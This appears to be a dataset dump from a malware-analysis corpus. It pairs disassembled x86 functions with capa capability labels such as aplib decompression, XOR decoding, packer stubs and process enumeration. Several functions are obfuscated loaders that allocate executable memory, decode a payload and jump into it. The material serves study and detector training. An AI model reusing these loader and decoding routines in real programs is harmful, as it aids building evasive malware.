joyce8/EMBER2024-capa huggingface dataset:
Function at 0xf2f108
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00f2f258
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xf2f12e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xf2f11a
add dl, dl
jne 0xf2f139
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xf2f18c
xor eax, eax
add dl, dl
jne 0xf2f146
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xf2f22d
add dl, dl
jne 0xf2f155
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xf2f160
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xf2f16b
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xf2f176
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xf2f182
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xf2f125
mov eax, 1
add dl, dl
jne 0xf2f19a
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xf2f1a5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xf2f191
sub eax, ebx
mov ebx, 1
jne 0xf2f1d8
mov ecx, 1
add dl, dl
jne 0xf2f1be
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xf2f1c9
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xf2f1b5
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xf2f125
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xf2f1ef
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xf2f1fa
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xf2f1e6
cmp eax, 0x7d00
jae 0xf2f21d
cmp eax, 0x500
jb 0xf2f218
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xf2f125
cmp eax, 0x7f
ja 0xf2f220
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xf2f125
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xf2f24e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xf2f125
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x78aa1e80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x78aa1e8f
pop dword [ebp - 0xc]
mov eax, 0xb0ab30b4
add eax, 0xc7feeddb
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x526b2
push 0
mov eax, 0xf1b03ac1
sub eax, 0x79062939
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0x9719df9f
sub ecx, 0x97199b17
xor edx, edx
add edx, eax
mov ebx, 0x78b5ee00
add ebx, dword [ebp - 0xc]
mov edi, 0xb4e91d0a
sub edi, 0xf30c66cb
add dword [ebp - 4], 0xb7c988cb
mov esi, dword [ebx]
add dword [ebp - 4], esi
add esi, edi
xor dword [ebp - 4], 0x159f1010
mov dword [edx], esi
xor dword [ebp - 4], ebx
add edx, 0xf7c40905
sub edx, 0xf7c40901
add ebx, 0x6439adfe
add ebx, 0x9bc65206
loop 0x78aa1eea
add eax, 0xc4174f2a
add eax, 0x3be9b5c9
mov ebx, eax
add eax, 0x74c12e4a
add eax, 0x8b3ed1bb
mov ecx, 0x9aca7653
add ecx, 0xdddf89ad
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x6d353f3e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x6d353f4d
pop dword [ebp - 0x44]
mov eax, 0xc9d2825b
add eax, 0xa362bcf2
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xcf196260
add dword [ebp - 0x54], 0x7f38e2eb
mov dword [ebp - 0x50], 0x88f50ac2
add dword [ebp - 0x50], 0xa93e4183
mov dword [ebp - 0x4c], 0xd21bfe4b
sub dword [ebp - 0x4c], 0x85cfba1d
mov dword [ebp - 0x48], 0xb2cd998e
add dword [ebp - 0x48], 0x4d326672
lea eax, [ebp - 0x54]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x6428324f
add dword [ebp - 0x54], 0x104a3707
mov dword [ebp - 0x50], 0xc4853b50
sub dword [ebp - 0x50], 0x8318d9db
mov dword [ebp - 0x4c], 0x121685e7
sub dword [ebp - 0x4c], 0xaea7197b
mov dword [ebp - 0x48], 0x1f5c6a
sub dword [ebp - 0x48], 0x1f5c6a
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0xd6529264
add eax, 0x96e2fdf4
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x33c97
push 0
call eax
mov ecx, 0xcb2c2030
sub ecx, 0xcb2be57c
xor edx, edx
add edx, eax
mov edi, 0x5121b65e
sub edi, 0xe3ebce5e
add edi, dword [ebp - 0x44]
mov esi, 0x62d622b3
xor dword [ebp - 0x28], edi
mov ebx, dword [edi]
sub dword [ebp - 0x18], eax
xor ebx, esi
mov dword [ebp - 0x40], 0xa36eb0dd
mov dword [edx], ebx
add edx, 4
add edi, 0xf3fa24df
add edi, 0xc05db25
loop 0x6d354066
add eax, 0x76e3ed22
sub eax, 0x76e30f7f
xor ebx, ebx
add ebx, eax
add eax, 0xf8f2c0b5
add eax, 0x70d3f50
mov ecx, 0x6d10433b
sub ecx, 0xffdb433b
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x6d3578c4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x6d3578ce
repz ret
jmp fcn.6d357caf
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x40ef4e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x40ef5d
pop dword [ebp - 0x24]
mov eax, 0xb9365fc1
sub eax, 0xb8f57064
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x1de7d723
sub dword [ebp - 0x34], 0xcf9591d8
mov dword [ebp - 0x30], 0x345b20d7
add dword [ebp - 0x30], 0xfdd82b6e
mov dword [ebp - 0x2c], 0xb31b4d9
sub dword [ebp - 0x2c], 0xbee570ab
mov dword [ebp - 0x28], 0x94039a7d
add dword [ebp - 0x28], 0x6bfc6583
lea eax, [ebp - 0x34]
push eax
mov eax, 0x530f7823
add eax, 0xad32b851
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xa393fd33
sub dword [ebp - 0x34], 0x2f2193dd
mov dword [ebp - 0x30], 0x82a1154
sub dword [ebp - 0x30], 0xc6bdafdf
mov dword [ebp - 0x2c], 0xfb1fa670
add dword [ebp - 0x2c], 0x684fc5fc
mov dword [ebp - 0x28], 0x2e092f15
sub dword [ebp - 0x28], 0x2e092f15
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x837f986d
add eax, 0x7cc298b7
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x41172
push 0
call eax
mov ecx, 0x14bd8620
add ecx, 0xeb42cf75
mov esi, eax
mov edi, 0x9b6eca15
sub edi, 0x9b2b8615
add edi, dword [ebp - 0x24]
mov ebx, 0xe8882ee9
sub ebx, 0xb5fe1e8a
sub dword [ebp - 0xc], ecx
mov edx, dword [edi]
add dword [ebp - 0x18], edx
sub edx, ebx
xor dword [ebp - 8], edi
mov dword [esi], edx
xor dword [ebp - 0x10], ebx
add esi, 0x12d92936
sub esi, 0x12d92932
add edi, 0x2d83bf9e
sub edi, 0x2d83bf9a
loop 0x40f07f
add eax, 0x9e8b06fa
sub eax, 0x9e89bdd3
mov ebx, eax
add eax, 0x7ca9108e
add eax, 0x8356ef77
mov ecx, 0x5a438843
add ecx, 0xa5fc77bd
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x4019db
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb84
mov eax, dword [0x44e524]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, str.MsgBox_
lea edi, [ebp - 0x20c]
push 0x1f8
xor ebx, ebx
lea eax, [ebp - 0x1fc]
push ebx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.004247d0
push 0x978
lea eax, [ebp - 0xb84]
push ebx
push eax
call fcn.004247d0
lea eax, [ebp + 0x10]
push eax
push ebx
push dword [ebp + 0xc]
mov eax, 0x4bb
push eax
push eax
lea eax, [ebp - 0xb84]
push eax
call fcn.004013d9
add esp, 0x30
cmp dword [ebp + 8], 0xa
jne 0x401a62
push ebx
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0xb84]
push eax
push ebx
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x401ad7
call fcn.00401944
mov esi, eax
push esi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
lea eax, [ebp - 0x20c]
jne 0x401a7f
push dword [ebp + 8]
jmp 0x401a51
push 0x104
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextW]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push ebx
push 0x401ae6
push 5
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
push esi
mov edi, eax
mov byte [0x452719], bl
call dword [sym.imp.USER32.dll_GetLastActivePopup]
push dword [ebp + 8]
lea ecx, [ebp - 0x20c]
push ecx
lea ecx, [ebp - 0xb84]
push ecx
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
mov esi, eax
test edi, edi
je 0x401ad5
push edi
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00422a28
leave
ret

Function at 0x4036ee
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [ecx]
push esi
xor esi, esi
test eax, eax
je 0x40370c
mov al, byte [ecx + esi + 4]
sub al, byte [ecx + 0x11]
xor al, byte [ecx + 0x10]
mov byte [ecx + esi + 4], al
inc esi
mov eax, dword [ecx]
cmp esi, eax
jb 0x4036f7
mov byte [eax + ecx + 4], 0
lea eax, [ecx + 4]
pop esi
ret

Function at 0x403716
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [ecx]
push esi
xor esi, esi
test eax, eax
je 0x403734
mov al, byte [ecx + esi + 4]
sub al, byte [ecx + 0x16]
xor al, byte [ecx + 0x15]
mov byte [ecx + esi + 4], al
inc esi
mov eax, dword [ecx]
cmp esi, eax
jb 0x40371f
mov byte [eax + ecx + 4], 0
lea eax, [ecx + 4]
pop esi
ret

Function at 0x40373e
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [ecx]
push esi
xor esi, esi
test eax, eax
je 0x40375c
mov al, byte [ecx + esi + 4]
sub al, byte [ecx + 0x12]
xor al, byte [ecx + 0x11]
mov byte [ecx + esi + 4], al
inc esi
mov eax, dword [ecx]
cmp esi, eax
jb 0x403747
mov byte [eax + ecx + 4], 0
lea eax, [ecx + 4]
pop esi
ret
Function at 0x404090
Capabilities:
Get common file path

Disassembly:
push 0xd8
mov eax, 0x437a04
call fcn.00422ef7
mov esi, ecx
mov dword [ebp - 0xe0], esi
push 0xc8
lea eax, [ebp - 0xd8]
mov dword [ebp - 0xe4], esi
and dword [ebp - 0xdc], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0xd8]
push eax
lea ecx, [ebp - 0xe0]
call fcn.0040258e
xor ecx, ecx
inc ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0xdc], ecx
mov ecx, esi
push eax
call fcn.004025e0
push 5
pop ecx
mov dword [ebp - 0xdc], ecx
and dword [ebp - 4], 0
mov dword [ebp - 0xdc], ecx
and ecx, 0xfffffffe
mov dword [ebp - 0xdc], ecx
and dword [ebp - 4], 0
mov ecx, dword [ebp - 0xe0]
add ecx, 0xfffffff0
call fcn.00401564
mov eax, esi
call fcn.00422ea6
ret

Function at 0x404122
Capabilities:
Check if file exists
Create process on windows

Disassembly:
push 0x24
mov eax, 0x437aa3
call fcn.00422ef7
mov edi, edx
mov ebx, ecx
and dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
and dword [ebp - 0x14], 0
mov dword [ebp - 0x28], 0xb
mov dword [ebp - 0x24], 0x306c3847
mov dword [ebp - 0x20], 0x1950524f
mov dword [ebp - 0x1c], 0xf3506b50
mov dword [ebp - 0x18], 0xef04
call fcn.004036ee
push eax
lea ecx, [ebp - 0x2c]
call fcn.00402546
mov esi, eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x30]
call fcn.00404090
mov byte [ebp - 4], 2
push esi
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.00403766
add esp, 0xc
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x30]
lea ecx, [ecx - 0x10]
call fcn.00401564
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x2c]
lea ecx, [ecx - 0x10]
call fcn.00401564
push dword [ebp - 0x14]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov dword [ebp - 0x18], 0xef04f3
test eax, eax
je 0x404250
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], 8
mov dword [ebp - 0x20], 0x10136610
mov dword [ebp - 0x1c], 0x4f10134f
call fcn.0040490b
push eax
lea ecx, [ebp - 0x2c]
call fcn.00402546
mov byte [ebp - 4], 8
push edi
push ebx
push dword [ebp + 8]
push dword [eax]
lea eax, [ebp + 8]
push eax
call fcn.00402ee0
add esp, 0x14
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x2c]
lea ecx, [ecx - 0x10]
call fcn.00401564
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 4
mov dword [ebp - 0x1c], 0x5950635a
xor ebx, ebx
mov dword [ebp - 0x18], 0xef04f3
call fcn.0040495b
push eax
lea ecx, [ebp - 0x2c]
call fcn.00402546
mov byte [ebp - 4], 0xa
push 1
push ebx
push dword [ebp + 8]
push dword [ebp - 0x14]
push dword [eax]
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x404285
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 4
mov dword [ebp - 0x1c], 0x5950635a
xor ebx, ebx
call fcn.0040495b
push eax
lea ecx, [ebp - 0x2c]
call fcn.00402546
mov byte [ebp - 4], 0xc
push 1
push ebx
push ebx
push dword [ebp + 8]
push dword [eax]
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x2c]
lea ecx, [ecx - 0x10]
call fcn.00401564
mov byte [ebp - 4], bl
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx - 0x10]
call fcn.00401564
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp + 8]
lea ecx, [ecx - 0x10]
call fcn.00401564
call fcn.00422ea6
ret
Function at 0x404554
Capabilities:
Enumerate process modules

Disassembly:
push 0x444
mov eax, 0x437b6d
call fcn.00422ef7
mov edi, edx
mov eax, ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
test eax, eax
jne 0x404576
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x404669
push 0x424
lea eax, [ebp - 0x444]
push ebx
push eax
call fcn.004247d0
add esp, 0xc
mov dword [ebp - 0x448], 0x428
lea eax, [ebp - 0x448]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32FirstW]
jmp 0x404658
push ecx
lea eax, [ebp - 0x228]
mov dword [ebp - 0x44c], esp
mov ecx, esp
push eax
call fcn.0040258e
mov byte [ebp - 4], 1
lea eax, [ebp - 0x428]
push ecx
mov ecx, esp
mov dword [ebp - 0x450], esp
push eax
call fcn.0040258e
mov byte [ebp - 4], 2
push dword [ebp - 0x430]
push dword [ebp - 0x42c]
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x20]
call fcn.00403928
mov byte [ebp - 4], 3
mov eax, dword [ebp + 8]
cmp dword [eax - 0xc], 0
je 0x40461e
push eax
lea ecx, [ebp - 0x18]
call fcn.00404b95
test eax, eax
jne 0x40463f
mov eax, dword [edi + 4]
lea ecx, [ebp - 0x20]
push ecx
cmp eax, dword [edi + 8]
je 0x404637
mov ecx, eax
call fcn.00404d62
add dword [edi + 4], 0x10
jmp 0x40463f
push eax
mov ecx, edi
call fcn.00404beb
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x20]
call fcn.00404683
lea eax, [ebp - 0x448]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32NextW]
test eax, eax
jne 0x4045bb
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
setne bl
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00401564
mov al, bl
call fcn.00422ea6
ret

Function at 0x4048e3
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [ecx]
push esi
xor esi, esi
test eax, eax
je 0x404901
mov al, byte [ecx + esi + 4]
sub al, byte [ecx + 0x24]
xor al, byte [ecx + 0x23]
mov byte [ecx + esi + 4], al
inc esi
mov eax, dword [ecx]
cmp esi, eax
jb 0x4048ec
mov byte [eax + ecx + 4], 0
lea eax, [ecx + 4]
pop esi
ret

Function at 0x40490b
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [ecx]
push esi
xor esi, esi
test eax, eax
je 0x404929
mov al, byte [ecx + esi + 4]
sub al, byte [ecx + 0xe]
xor al, byte [ecx + 0xd]
mov byte [ecx + esi + 4], al
inc esi
mov eax, dword [ecx]
cmp esi, eax
jb 0x404914
mov byte [eax + ecx + 4], 0
lea eax, [ecx + 4]
pop esi
ret

Function at 0x404933
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [ecx]
push esi
xor esi, esi
test eax, eax
je 0x404951
mov al, byte [ecx + esi + 4]
sub al, byte [ecx + 0xf]
xor al, byte [ecx + 0xe]
mov byte [ecx + esi + 4], al
inc esi
mov eax, dword [ecx]
cmp esi, eax
jb 0x40493c
mov byte [eax + ecx + 4], 0
lea eax, [ecx + 4]
pop esi
ret

Function at 0x40495b
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [ecx]
push esi
xor esi, esi
test eax, eax
je 0x404979
mov al, byte [ecx + esi + 4]
sub al, byte [ecx + 0xa]
xor al, byte [ecx + 9]
mov byte [ecx + esi + 4], al
inc esi
mov eax, dword [ecx]
cmp esi, eax
jb 0x404964
mov byte [eax + ecx + 4], 0
lea eax, [ecx + 4]
pop esi
ret
Function at 0x404983
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [ecx]
push esi
xor esi, esi
test eax, eax
je 0x4049a1
mov al, byte [ecx + esi + 4]
sub al, byte [ecx + 0x18]
xor al, byte [ecx + 0x17]
mov byte [ecx + esi + 4], al
inc esi
mov eax, dword [ecx]
cmp esi, eax
jb 0x40498c
mov byte [eax + ecx + 4], 0
lea eax, [ecx + 4]
pop esi
ret

Function at 0x404e96
Capabilities:
Enumerate process modules

Disassembly:
push 0x448
mov eax, 0x437d9e
call fcn.00422ef7
mov ebx, edx
mov eax, ecx
mov dword [ebp - 0x44c], eax
and dword [ebp - 4], 0
mov edi, dword [ebx + 4]
mov esi, dword [ebx]
cmp esi, edi
je 0x404ed2
mov ecx, esi
call fcn.00404683
add esi, 0x10
cmp esi, edi
jne 0x404ebc
mov esi, dword [ebx]
mov eax, dword [ebp - 0x44c]
push eax
push 8
mov dword [ebx + 4], esi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x454], esi
test esi, esi
je 0x405029
push 0x424
lea eax, [ebp - 0x444]
push 0
push eax
call fcn.004247d0
add esp, 0xc
mov dword [ebp - 0x448], 0x428
lea eax, [ebp - 0x448]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32FirstW]
jmp 0x405018
lea eax, [ebp - 0x228]
push eax
lea ecx, [ebp - 0x44c]
call fcn.0040258e
mov byte [ebp - 4], 1
lea eax, [ebp - 0x428]
push eax
lea ecx, [ebp - 0x450]
call fcn.0040258e
mov byte [ebp - 4], 2
mov edi, dword [ebp - 0x430]
mov esi, dword [ebp - 0x42c]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x18]
call fcn.00402613
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x14]
call fcn.00402613
mov byte [ebp - 4], 6
lea eax, [ebp - 0x450]
push eax
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], edi
call fcn.004028dc
lea eax, [ebp - 0x44c]
push eax
lea ecx, [ebp - 0x14]
call fcn.004028dc
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x450]
lea ecx, [ecx - 0x10]
call fcn.00401564
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x44c]
lea ecx, [ecx - 0x10]
call fcn.00401564
mov byte [ebp - 4], 9
mov eax, dword [ebp + 8]
cmp dword [eax - 0xc], 0
je 0x404fd7
push eax
lea ecx, [ebp - 0x18]
call fcn.00404b95
test eax, eax
jne 0x404ff8
mov eax, dword [ebx + 4]
lea ecx, [ebp - 0x20]
push ecx
cmp eax, dword [ebx + 8]
je 0x404ff0
mov ecx, eax
call fcn.00404d62
add dword [ebx + 4], 0x10
jmp 0x404ff8
push eax
mov ecx, ebx
call fcn.00405853
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x20]
call fcn.00404683
mov esi, dword [ebp - 0x454]
lea eax, [ebp - 0x448]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32NextW]
test eax, eax
jne 0x404f21
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
setne bl
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00401564
mov al, bl
call fcn.00422ea6
ret
Function at 0x40530e
Capabilities:
Create thread

Disassembly:
push 8
mov eax, 0x437e21
call fcn.00422ec4
mov dword [ebp - 0x10], ecx
mov edi, 0xa4
xor esi, esi
push edi
call fcn.0040c25c
mov ebx, eax
pop ecx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], esi
test ebx, ebx
je 0x4053a1
push edi
push esi
push ebx
call fcn.004247d0
mov esi, dword [ebp + 8]
lea edi, [ebx + 4]
mov eax, dword [ebp - 0x10]
add esp, 0xc
push 0x1e
pop ecx
rep movsd dword es:[edi], dword [esi]
mov edi, dword [ebp + 0x20]
xor esi, esi
mov dword [ebx], eax
mov eax, dword [ebp + 0xc]
mov dword [ebx + 0x7c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebx + 0x88], eax
mov eax, dword [ebp + 0x14]
mov dword [ebx + 0x84], eax
mov eax, dword [ebp + 0x18]
mov dword [ebx + 0x80], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebx + 0x8c], eax
mov eax, dword [ebp + 0x24]
mov dword [ebx + 0x94], eax
mov al, byte [ebp + 0x28]
mov dword [ebx + 0x98], esi
mov dword [ebx + 0x90], edi
mov byte [ebx + 0x9c], al
jmp 0x4053a9
mov edi, dword [ebp + 0x20]
mov ebx, esi
mov al, byte [ebp + 0x28]
or dword [ebp - 4], 0xffffffff
test al, al
je 0x4053db
mov ecx, ebx
call fcn.004051b4
mov esi, eax
test esi, esi
je 0x4053cc
mov dword [ebx + 0xa0], esi
test edi, edi
je 0x4053cc
push ebx
call edi
pop ecx
push 0xa4
push ebx
call fcn.00422d4c
pop ecx
pop ecx
jmp 0x4053f6
push esi
push esi
push ebx
push 0x4053fe
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x4053f6
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
call fcn.00422e92
ret

Function at 0x4057f0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [ecx]
push esi
xor esi, esi
test eax, eax
je 0x40580e
mov al, byte [ecx + esi + 4]
sub al, byte [ecx + 0xb]
xor al, byte [ecx + 0xa]
mov byte [ecx + esi + 4], al
inc esi
mov eax, dword [ecx]
cmp esi, eax
jb 0x4057f9
mov byte [eax + ecx + 4], 0
lea eax, [ecx + 4]
pop esi
ret
Function at 0x405f1f
Capabilities:
Get graphical window text
Hide graphical window

Disassembly:
push 0x454
mov eax, 0x438159
call fcn.00422ef7
mov ebx, edx
mov edi, ecx
mov eax, 0x80
mov dword [ebp - 0x430], 0x3bc
push 0x3b0
mov dword [0x452734], eax
xor esi, esi
mov dword [ebp - 0x428], eax
lea eax, [ebp - 0x424]
push esi
push eax
mov dword [ebp - 0x42c], edi
call fcn.004247d0
add esp, 0xc
cmp ebx, 1
jne 0x406074
push 0x64
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.004247d0
add esp, 0xc
lea eax, [ebp - 0x74]
push 0x32
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
movzx eax, word [0x452734]
push eax
push esi
mov dword [ebp - 0x424], 0x17
mov dword [ebp - 0x420], 0x469
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [ebp - 0x41c], eax
mov esi, 0x100
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x418]
push esi
push eax
call fcn.00429980
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x10c]
push 0x40
push eax
call fcn.00429980
movaps xmm0, xmmword [0x445b30]
lea ecx, [ebp - 0x460]
add esp, 0x18
mov dword [ebp - 0x460], 0x25
movups xmmword [ebp - 0x45c], xmm0
mov dword [ebp - 0x43c], 0x239f8f7d
movaps xmm0, xmmword [0x445b70]
movups xmmword [ebp - 0x44c], xmm0
mov dword [ebp - 0x438], 0xc77d441b
call fcn.004062ac
push eax
lea ecx, [ebp - 0x434]
call fcn.00402546
and dword [ebp - 4], 0
push dword [eax]
lea eax, [ebp - 0x310]
push esi
push eax
call fcn.00429980
add esp, 0xc
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x434]
lea ecx, [ecx - 0x10]
call fcn.00401564
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 6
push edi
call esi
push 0
push edi
call esi
jmp 0x406084
push 1
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
push edi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
lea eax, [ebp - 0x430]
xor ecx, ecx
push eax
push 2
pop eax
test ebx, ebx
cmovne eax, ecx
push eax
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
call fcn.00422ea6
ret

Function at 0x4062ac
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [ecx]
push esi
xor esi, esi
test eax, eax
je 0x4062ca
mov al, byte [ecx + esi + 4]
sub al, byte [ecx + 0x2b]
xor al, byte [ecx + 0x2a]
mov byte [ecx + esi + 4], al
inc esi
mov eax, dword [ecx]
cmp esi, eax
jb 0x4062b5
mov byte [eax + ecx + 4], 0
lea eax, [ecx + 4]
pop esi
ret

Function at 0x4062d4
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [ecx]
push esi
xor esi, esi
test eax, eax
je 0x4062f2
mov al, byte [ecx + esi + 4]
sub al, byte [ecx + 0x13]
xor al, byte [ecx + 0x12]
mov byte [ecx + esi + 4], al
inc esi
mov eax, dword [ecx]
cmp esi, eax
jb 0x4062dd
mov byte [eax + ecx + 4], 0
lea eax, [ecx + 4]
pop esi
ret